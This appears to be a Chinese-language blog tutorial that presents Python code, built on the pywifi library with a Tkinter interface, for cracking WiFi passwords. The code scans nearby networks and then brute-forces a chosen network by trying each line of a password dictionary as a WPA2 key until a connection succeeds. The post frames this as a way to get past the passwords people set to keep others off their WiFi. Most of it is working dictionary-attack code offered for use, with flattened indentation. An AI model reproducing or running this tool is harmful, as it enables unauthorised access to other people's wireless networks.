现在每个家庭都有WiFi!大家都以为为了防止别人蹭WiFi密码设置复杂一点,万能钥匙就破解不了!今天给大家看看python工程师是怎么破解WiFi密码的!今天利用python中的pywifi模块来写这个程序!上教程

一、获取密码文件的路径

self.get_value = StringVar()

二、获取WiFi账号

self.get_wifi_value = StringVar()

三、获取WiFi密码

self.get_wifimm_value = StringVar()

四、抓取网卡接口

self.wifi = pywifi.PyWiFi()

五、抓取第一个无线网卡

self.iface = self.wifi.interfaces()[0]

六、测试连接断开所有链接

self.iface.disconnect()

七、测试网卡是否属于断开状态

assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

八、自动会调用的函数,返回自身的网卡

return ‘(WIFI:%s,%s)’ % (self.wifi,self.iface.name())

九、搜索WiFi

#开始扫描
print(“^_^ 开始扫描附近wifi…”)
self.iface.scan()
time.sleep(15)
#在若干秒后获取扫描结果
scanres = self.iface.scan_results()
#统计附近被发现的热点数量
nums = len(scanres)
print(“数量: %s”%(nums))
#print (“| %s | %s | %s | %s”%(“WIFIID”,”SSID”,”BSSID”,”signal”))
# 实际数据
self.show_scans_wifi_list(scanres)
return scanres

十、添加密码文件目录

self.filename = tkinter.filedialog.askopenfilename()
self.get_value.set(self.filename)

十一、Treeview绑定事件

self.sels= event.widget.selection()
self.get_wifi_value.set(self.wifi_tree.item(self.sels,”values”)[1])
#print(“you clicked on”,self.wifi_tree.item(self.sels,”values”)[1])

十二、读取密码字典,进行匹配

def readPassWord(self):
self.getFilePath = self.get_value.get()

self.get_wifissid = self.get_wifi_value.get()

pwdfilehander=open(self.getFilePath,”r”,errors=”ignore”)
while True:
try:
self.pwdStr=pwdfilehander.readline()

if not self.pwdStr:
break
self.bool1=self.connect(self.pwdStr,self.get_wifissid)

if self.bool1:
self.res = “===正确=== wifi名:%s 匹配密码:%s “%(self.get_wifissid,self.pwdStr)
self.get_wifimm_value.set(self.pwdStr)
tkinter.messagebox.showinfo(‘提示’, ‘破解成功!!!’)
print(self.res)
break
else:
self.res = “—错误— wifi名:%s匹配密码:%s”%(self.get_wifissid,self.pwdStr)
print(self.res)
time.sleep(3)
except:
continue

十三、对wifi和密码进行匹配

#创建wifi链接文件
self.profile = pywifi.Profile()
self.profile.ssid =wifi_ssid #wifi名称
self.profile.auth = const.AUTH_ALG_OPEN #网卡的开放
self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
self.profile.cipher = const.CIPHER_TYPE_CCMP #加密单元
self.profile.key = pwd_Str #密码
self.iface.remove_all_network_profiles() #删除所有的wifi文件
self.tmp_profile = self.iface.add_network_profile(self.profile)#设定新的链接文件
self.iface.connect(self.tmp_profile)#链接
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上
isOK=True
else:
isOK=False
self.iface.disconnect() #断开
time.sleep(1)
#检查断开状态
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK

运行结果